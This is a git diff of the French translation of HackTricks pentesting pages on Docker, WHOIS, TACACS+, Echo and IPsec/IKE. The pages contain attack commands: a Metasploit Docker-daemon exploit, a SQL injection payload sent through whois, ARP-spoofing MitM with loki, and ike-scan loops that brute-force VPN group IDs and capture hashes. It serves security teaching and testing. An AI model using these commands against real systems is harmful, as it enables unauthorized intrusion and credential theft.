* Le **container-shim** joue un rôle critique en tant qu'**intermédiaire** dans la gestion des **conteneurs sans tête**, prenant en charge **runc** après l'initialisation des conteneurs.
|
||||||
* [**runc**](http://runc.io) : Réputé pour ses capacités de **runtime de conteneur léger et universel**, runc est conforme à la **norme OCI**. Il est utilisé par containerd pour **démarrer et gérer les conteneurs** selon les **directives OCI**, ayant évolué à partir de l'original **libcontainer**.
|
* [**runc**](http://runc.io) : Réputé pour ses capacités de **runtime de conteneur léger et universel**, runc est aligné avec la **norme OCI**. Il est utilisé par containerd pour **démarrer et gérer les conteneurs** selon les **directives OCI**, ayant évolué à partir de l'original **libcontainer**.
|
||||||
* [**grpc**](http://www.grpc.io) est essentiel pour **faciliter la communication** entre containerd et le **docker-engine**, assurant une **interaction efficace**.
|
* [**grpc**](http://www.grpc.io) est essentiel pour **faciliter la communication** entre containerd et le **docker-engine**, assurant une **interaction efficace**.
|
||||||
* Le [**OCI**](https://www.opencontainers.org) est crucial pour maintenir les **spécifications OCI** pour les runtimes et les images, les dernières versions de Docker étant **conformes aux normes OCI pour les images et les runtimes**.
|
* Le [**OCI**](https://www.opencontainers.org) est essentiel pour maintenir les **spécifications OCI** pour les runtimes et les images, les dernières versions de Docker étant **conformes aux normes OCI pour les images et les runtimes**.
|
||||||
|
|
||||||
#### Basic commands
|
#### Basic commands
|
||||||
```bash
|
```bash
|
||||||
|
@ -210,7 +197,7 @@ Si vous souhaitez plus d'informations à ce sujet, des informations supplémenta
|
||||||
msf> use exploit/linux/http/docker_daemon_tcp
|
msf> use exploit/linux/http/docker_daemon_tcp
|
||||||
nmap -sV --script "docker-*" -p <PORT> <IP>
|
nmap -sV --script "docker-*" -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
### Compromising
|
### Compromission
|
||||||
|
|
||||||
Dans la page suivante, vous pouvez trouver des moyens de **s'échapper d'un conteneur docker** :
|
Dans la page suivante, vous pouvez trouver des moyens de **s'échapper d'un conteneur docker** :
|
||||||
|
|
||||||
|
@ -267,7 +254,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||||
|
|
||||||
#### Sécuriser les Dockerfiles
|
#### Sécuriser les Dockerfiles
|
||||||
|
|
||||||
* Vous pouvez utiliser l'outil [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) pour **inspecter votre Dockerfile** et trouver toutes sortes de mauvaises configurations. Chaque mauvaise configuration se verra attribuer un ID, vous pouvez trouver ici [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) comment les corriger.
|
* Vous pouvez utiliser l'outil [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) pour **inspecter votre Dockerfile** et trouver toutes sortes de mauvaises configurations. Chaque mauvaise configuration se verra attribuer un ID, vous pouvez trouver ici [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) comment corriger chacune d'elles.
|
||||||
* `dockerfilelinter -f Dockerfile`
|
* `dockerfilelinter -f Dockerfile`
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (176).png>)
|
![](<../.gitbook/assets/image (176).png>)
|
||||||
|
@ -290,7 +277,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||||
#### Journaliser les activités suspectes
|
#### Journaliser les activités suspectes
|
||||||
|
|
||||||
* Vous pouvez utiliser l'outil [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) pour détecter **un comportement suspect dans les conteneurs en cours d'exécution**.
|
* Vous pouvez utiliser l'outil [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) pour détecter **un comportement suspect dans les conteneurs en cours d'exécution**.
|
||||||
* Notez dans le segment suivant comment **Falco compile un module noyau et l'insère**. Après cela, il charge les règles et **commence à journaliser les activités suspectes**. Dans ce cas, il a détecté 2 conteneurs privilégiés démarrés, 1 d'entre eux avec un montage sensible, et après quelques secondes, il a détecté comment un shell a été ouvert à l'intérieur de l'un des conteneurs.
|
* Notez dans le morceau suivant comment **Falco compile un module noyau et l'insère**. Après cela, il charge les règles et **commence à journaliser les activités suspectes**. Dans ce cas, il a détecté 2 conteneurs privilégiés démarrés, dont 1 avec un montage sensible, et après quelques secondes, il a détecté comment un shell a été ouvert à l'intérieur de l'un des conteneurs.
|
||||||
```bash
|
```bash
|
||||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||||
* Setting up /usr/src links from host
|
* Setting up /usr/src links from host
|
||||||
|
@ -340,17 +327,6 @@ Vous pouvez utiliser auditd pour surveiller docker.
|
||||||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||||
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -360,8 +336,8 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
Le protocole **WHOIS** sert de méthode standard pour **interroger les registrants ou détenteurs de diverses ressources Internet** via des bases de données spécifiques. Ces ressources comprennent des noms de domaine, des blocs d'adresses IP et des systèmes autonomes, entre autres. Au-delà de cela, le protocole trouve application dans l'accès à un éventail plus large d'informations.
|
Le protocole **WHOIS** sert de méthode standard pour **interroger les titulaires ou détenteurs de diverses ressources Internet** via des bases de données spécifiques. Ces ressources comprennent des noms de domaine, des blocs d'adresses IP et des systèmes autonomes, entre autres. Au-delà de cela, le protocole trouve application dans l'accès à un éventail plus large d'informations.
|
||||||
|
|
||||||
**Port par défaut :** 43
|
**Port par défaut :** 43
|
||||||
```
|
```
|
||||||
|
@ -43,19 +35,13 @@ Noticez que parfois, lors de la demande d'informations à un service WHOIS, la b
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (301).png>)
|
![](<../.gitbook/assets/image (301).png>)
|
||||||
|
|
||||||
De plus, le service WHOIS doit toujours utiliser une **base de données** pour stocker et extraire les informations. Ainsi, une possible **SQLInjection** pourrait être présente lors de la **requête** de la base de données à partir de certaines informations fournies par l'utilisateur. Par exemple, en faisant : `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` vous pourriez être en mesure d'**extraire tout** l'**information** enregistrée dans la base de données.
|
De plus, le service WHOIS doit toujours utiliser une **base de données** pour stocker et extraire les informations. Ainsi, une possible **SQLInjection** pourrait être présente lors de la **requête** de la base de données à partir de certaines informations fournies par l'utilisateur. Par exemple, en faisant : `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` vous pourriez être en mesure d'**extraire toutes** les **informations** enregistrées dans la base de données.
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `port:43 whois`
|
* `port:43 whois`
|
||||||
|
|
||||||
**Try Hard Security Group**
|
## HackTricks Commandes Automatiques
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
## HackTricks Automatic Commands
|
|
||||||
```
|
```
|
||||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 43 #Comma separated if there is more than one.
|
Port_Number: 43 #Comma separated if there is more than one.
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
Le protocole **Terminal Access Controller Access Control System (TACACS)** est utilisé pour valider de manière centralisée les utilisateurs essayant d'accéder aux routeurs ou aux serveurs d'accès réseau (NAS). Sa version améliorée, **TACACS+**, sépare les services en authentification, autorisation et comptabilité (AAA).
|
Le protocole **Terminal Access Controller Access Control System (TACACS)** est utilisé pour valider de manière centralisée les utilisateurs essayant d'accéder aux routeurs ou aux serveurs d'accès réseau (NAS). Sa version améliorée, **TACACS+**, sépare les services en authentification, autorisation et comptabilité (AAA).
|
||||||
|
@ -34,7 +26,7 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
## Intercepter la clé d'authentification
|
## Intercepter la clé d'authentification
|
||||||
|
|
||||||
Si la communication entre le client et le serveur TACACS est interceptée par un attaquant, la **clé d'authentification chiffrée peut être interceptée**. L'attaquant peut alors tenter une **attaque par force brute locale contre la clé sans être détecté dans les journaux**. S'il réussit à forcer la clé, l'attaquant obtient un accès à l'équipement réseau et peut déchiffrer le trafic en utilisant des outils comme Wireshark.
|
Si la communication entre le client et le serveur TACACS est interceptée par un attaquant, la **clé d'authentification chiffrée peut être interceptée**. L'attaquant peut alors tenter une **attaque par force brute locale contre la clé sans être détecté dans les journaux**. S'il réussit à forcer la clé, l'attaquant obtient l'accès à l'équipement réseau et peut déchiffrer le trafic à l'aide d'outils comme Wireshark.
|
||||||
|
|
||||||
### Réaliser une attaque MitM
|
### Réaliser une attaque MitM
|
||||||
|
|
||||||
|
@ -46,22 +38,17 @@ Une **attaque par spoofing ARP peut être utilisée pour réaliser une attaque M
|
||||||
```
|
```
|
||||||
sudo loki_gtk.py
|
sudo loki_gtk.py
|
||||||
```
|
```
|
||||||
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
|
Si la clé est **bruteforcée** avec succès (**généralement au format MD5 chiffré**), **nous pouvons accéder à l'équipement et déchiffrer le trafic chiffré TACACS.**
|
||||||
|
|
||||||
### Decrypting Traffic
|
### Déchiffrement du Trafic
|
||||||
Une fois la clé correctement craquée, l'étape suivante consiste à **décrypter le trafic TACACS chiffré**. Wireshark peut gérer le trafic TACACS chiffré si la clé est fournie. En analysant le trafic décrypté, des informations telles que le **bannière utilisée et le nom d'utilisateur de l'utilisateur admin** peuvent être obtenues.
|
Une fois la clé crackée avec succès, l'étape suivante consiste à **déchiffrer le trafic chiffré TACACS**. Wireshark peut gérer le trafic TACACS chiffré si la clé est fournie. En analysant le trafic déchiffré, des informations telles que le **bannière utilisée et le nom d'utilisateur de l'utilisateur admin** peuvent être obtenues.
|
||||||
|
|
||||||
En accédant au panneau de contrôle de l'équipement réseau en utilisant les identifiants obtenus, l'attaquant peut exercer un contrôle sur le réseau. Il est important de noter que ces actions sont strictement à des fins éducatives et ne doivent pas être utilisées sans autorisation appropriée.
|
En accédant au panneau de contrôle de l'équipement réseau en utilisant les identifiants obtenus, l'attaquant peut exercer un contrôle sur le réseau. Il est important de noter que ces actions sont strictement à des fins éducatives et ne doivent pas être utilisées sans autorisation appropriée.
|
||||||
|
|
||||||
## References
|
## Références
|
||||||
|
|
||||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -13,14 +13,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
|
|
||||||
# Informations de base
|
# Informations de base
|
||||||
|
|
||||||
|
@ -51,23 +43,17 @@ Hello echo #This is the response
|
||||||
[CA-1996-01 Attaque par déni de service sur le port UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
[CA-1996-01 Attaque par déni de service sur le port UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||||
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -16,14 +16,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
**IPsec** est largement reconnu comme la principale technologie pour sécuriser les communications entre les réseaux (LAN-à-LAN) et des utilisateurs distants vers la passerelle réseau (accès à distance), servant de colonne vertébrale pour les solutions VPN d'entreprise.
|
**IPsec** est largement reconnu comme la principale technologie pour sécuriser les communications entre les réseaux (LAN-à-LAN) et des utilisateurs distants vers la passerelle réseau (accès à distance), servant de colonne vertébrale pour les solutions VPN d'entreprise.
|
||||||
|
@ -67,7 +59,7 @@ As you can see in the previous response, there is a field called **AUTH** with t
|
||||||
**La valeur de la dernière ligne est également très importante :**
|
**La valeur de la dernière ligne est également très importante :**
|
||||||
|
|
||||||
* _0 returned handshake; 0 returned notify:_ Cela signifie que la cible **n'est pas une passerelle IPsec**.
|
* _0 returned handshake; 0 returned notify:_ Cela signifie que la cible **n'est pas une passerelle IPsec**.
|
||||||
* _**1 returned handshake; 0 returned notify:**_ Cela signifie que la **cible est configurée pour IPsec et est prête à effectuer une négociation IKE, et qu'un ou plusieurs des transformations que vous avez proposées sont acceptables** (une transformation valide sera affichée dans la sortie).
|
* _**1 returned handshake; 0 returned notify:**_ Cela signifie que la **cible est configurée pour IPsec et est prête à effectuer la négociation IKE, et qu'un ou plusieurs des transformations que vous avez proposées sont acceptables** (une transformation valide sera affichée dans la sortie).
|
||||||
* _0 returned handshake; 1 returned notify:_ Les passerelles VPN répondent avec un message de notification lorsque **aucune des transformations n'est acceptable** (bien que certaines passerelles ne le fassent pas, auquel cas une analyse plus approfondie et une proposition révisée devraient être essayées).
|
* _0 returned handshake; 1 returned notify:_ Les passerelles VPN répondent avec un message de notification lorsque **aucune des transformations n'est acceptable** (bien que certaines passerelles ne le fassent pas, auquel cas une analyse plus approfondie et une proposition révisée devraient être essayées).
|
||||||
|
|
||||||
Ensuite, dans ce cas, nous avons déjà une transformation valide, mais si vous êtes dans le 3ème cas, alors vous devez **brute-forcer un peu pour trouver une transformation valide :**
|
Ensuite, dans ce cas, nous avons déjà une transformation valide, mais si vous êtes dans le 3ème cas, alors vous devez **brute-forcer un peu pour trouver une transformation valide :**
|
||||||
|
@ -130,7 +122,7 @@ Cela peut également être réalisé avec le script nmap _**ike-version**_
|
||||||
Pour être autorisé à capturer le hash, vous avez besoin d'une transformation valide prenant en charge le mode agressif et du bon ID (nom de groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, donc vous devrez le brute-forcer.\
|
Pour être autorisé à capturer le hash, vous avez besoin d'une transformation valide prenant en charge le mode agressif et du bon ID (nom de groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, donc vous devrez le brute-forcer.\
|
||||||
Pour ce faire, je vous recommande 2 méthodes :
|
Pour ce faire, je vous recommande 2 méthodes :
|
||||||
|
|
||||||
### Bruteforcer l'ID avec ike-scan
|
### Bruteforcing ID avec ike-scan
|
||||||
|
|
||||||
Tout d'abord, essayez de faire une demande avec un ID faux en essayant de rassembler le hash ("-P") :
|
Tout d'abord, essayez de faire une demande avec un ID faux en essayant de rassembler le hash ("-P") :
|
||||||
```bash
|
```bash
|
||||||
|
@ -144,23 +136,23 @@ Mais si comme je l'ai dit, aucun hash n'est retourné, alors vous devriez essaye
|
||||||
|
|
||||||
Ce script **essaiera de brute-forcer les ID possibles** et renverra les ID où une poignée de main valide est retournée (ceci sera un nom de groupe valide).
|
Ce script **essaiera de brute-forcer les ID possibles** et renverra les ID où une poignée de main valide est retournée (ceci sera un nom de groupe valide).
|
||||||
|
|
||||||
Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ike-scan. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour toutes les essayer (vous devriez toutes les essayer jusqu'à ce que l'une d'elles fonctionne correctement).
|
Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ike-scan. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour toutes les essayer (vous devriez toutes les essayer jusqu'à ce qu'une d'entre elles fonctionne correctement).
|
||||||
|
|
||||||
Vous pouvez utiliser le [dictionnaire d'ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [celui dans seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de noms de groupe communs pour les brute-forcer :
|
Vous pouvez utiliser le [dictionnaire d'ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [celui dans seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de noms de groupe communs pour les brute-forcer :
|
||||||
```bash
|
```bash
|
||||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||||
```
|
```
|
||||||
Or utilisez ce dict (est une combinaison des 2 autres dicts sans répétitions) :
|
Or utilisez ce dictionnaire (c'est une combinaison des 2 autres dictionnaires sans répétitions) :
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/vpnIDs.txt" %}
|
{% file src="../.gitbook/assets/vpnIDs.txt" %}
|
||||||
|
|
||||||
### Bruteforçage d'ID avec Iker
|
### Bruteforcing ID avec Iker
|
||||||
|
|
||||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) utilise également **ike-scan** pour bruteforcer les noms de groupe possibles. Il suit sa propre méthode pour **trouver un ID valide basé sur la sortie d'ike-scan**.
|
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) utilise également **ike-scan** pour bruteforcer les noms de groupe possibles. Il suit sa propre méthode pour **trouver un ID valide basé sur la sortie de ike-scan**.
|
||||||
|
|
||||||
### Bruteforçage d'ID avec ikeforce
|
### Bruteforcing ID avec ikeforce
|
||||||
|
|
||||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) est un outil qui peut être utilisé pour **bruteforcer des IDs également**. Cet outil va **essayer d'exploiter différentes vulnérabilités** qui pourraient être utilisées pour **distinguer entre un ID valide et un ID non valide** (cela pourrait avoir des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).
|
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) est un outil qui peut être utilisé pour **bruteforcer les IDs également**. Cet outil va **essayer d'exploiter différentes vulnérabilités** qui pourraient être utilisées pour **distinguer entre un ID valide et un ID non valide** (cela pourrait avoir des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).
|
||||||
|
|
||||||
Par défaut, **ikeforce** enverra au début quelques IDs aléatoires pour vérifier le comportement du serveur et déterminer la tactique à utiliser.
|
Par défaut, **ikeforce** enverra au début quelques IDs aléatoires pour vérifier le comportement du serveur et déterminer la tactique à utiliser.
|
||||||
|
|
||||||
|
@ -168,7 +160,7 @@ Par défaut, **ikeforce** enverra au début quelques IDs aléatoires pour vérif
|
||||||
* La **deuxième méthode** disponible consiste à **vérifier le nombre de réponses envoyées à chaque essai** car parfois plus de paquets sont envoyés lorsque l'ID correct est utilisé.
|
* La **deuxième méthode** disponible consiste à **vérifier le nombre de réponses envoyées à chaque essai** car parfois plus de paquets sont envoyés lorsque l'ID correct est utilisé.
|
||||||
* La **troisième méthode** consiste à **chercher "INVALID-ID-INFORMATION" en réponse à un ID incorrect**.
|
* La **troisième méthode** consiste à **chercher "INVALID-ID-INFORMATION" en réponse à un ID incorrect**.
|
||||||
* Enfin, si le serveur ne répond rien aux vérifications, **ikeforce** essaiera de bruteforcer le serveur et vérifiera si, lorsque l'ID correct est envoyé, le serveur répond avec un paquet.\
|
* Enfin, si le serveur ne répond rien aux vérifications, **ikeforce** essaiera de bruteforcer le serveur et vérifiera si, lorsque l'ID correct est envoyé, le serveur répond avec un paquet.\
|
||||||
Évidemment, l'objectif du bruteforçage de l'ID est d'obtenir le **PSK** lorsque vous avez un ID valide. Ensuite, avec l'**ID** et le **PSK**, vous devrez bruteforcer le XAUTH (s'il est activé).
|
Évidemment, l'objectif de bruteforcer l'ID est d'obtenir le **PSK** lorsque vous avez un ID valide. Ensuite, avec l'**ID** et le **PSK**, vous devrez bruteforcer le XAUTH (s'il est activé).
|
||||||
|
|
||||||
Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour toutes les essayer (vous devriez toutes les essayer jusqu'à ce que l'une d'elles fonctionne correctement).
|
Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour toutes les essayer (vous devriez toutes les essayer jusqu'à ce que l'une d'elles fonctionne correctement).
|
||||||
```bash
|
```bash
|
||||||
|
@ -181,7 +173,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||||
```
|
```
|
||||||
### Sniffing ID
|
### Sniffing ID
|
||||||
|
|
||||||
